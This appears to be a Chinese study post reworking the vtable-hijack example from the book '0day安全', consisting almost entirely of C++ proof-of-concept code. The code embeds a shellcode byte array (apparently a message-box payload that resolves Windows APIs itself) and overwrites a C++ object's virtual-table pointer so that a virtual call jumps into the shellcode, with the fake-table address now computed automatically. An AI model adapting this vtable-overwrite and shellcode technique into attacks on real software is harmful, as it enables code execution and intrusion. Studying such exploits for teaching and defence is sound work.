0day安全－软件漏洞分析技术（第一版）－－8_3_vtable 虚表攻击源码改造

改造成不需要人工定位的。

#include "windows.h"
#include "stdio.h"
#include "iostream.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1C\x88\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
	char buf[200];
	virtual void test(void)
	{
		cout<<"Class Vtable::test()"<<endl;
	}
};
Failwest overflow, *p;
void main(void)
{
	char * p_vtable;
	DWORD dwShellSize = sizeof(shellcode) - 1;
	int dwFakeVTableAddress =(int)((char*)overflow.buf + dwShellSize - 4);
	int dwShellFakeVTableAddress = (int)((char*)shellcode + dwShellSize - 4);
	p_vtable=overflow.buf-4;//point to virtual table
	//__asm int 3
	//reset fake virtual table to 0x004088cc
	//the address may need to ajusted via runtime debug
	//p_vtable[0]=0xCC;
	//p_vtable[1]=0x88;
	//p_vtable[2]=0x40;
	//p_vtable[3]=0x00;
	memcpy((void*)(p_vtable),&dwFakeVTableAddress,0x4);

	DWORD dwShellBufAddress = (DWORD)overflow.buf;
	memcpy((void*)dwShellFakeVTableAddress,(void*)&dwShellBufAddress,0x4);
	strcpy(overflow.buf,shellcode);//set fake virtual function pointer
	
	p=&overflow;
	p->test();
}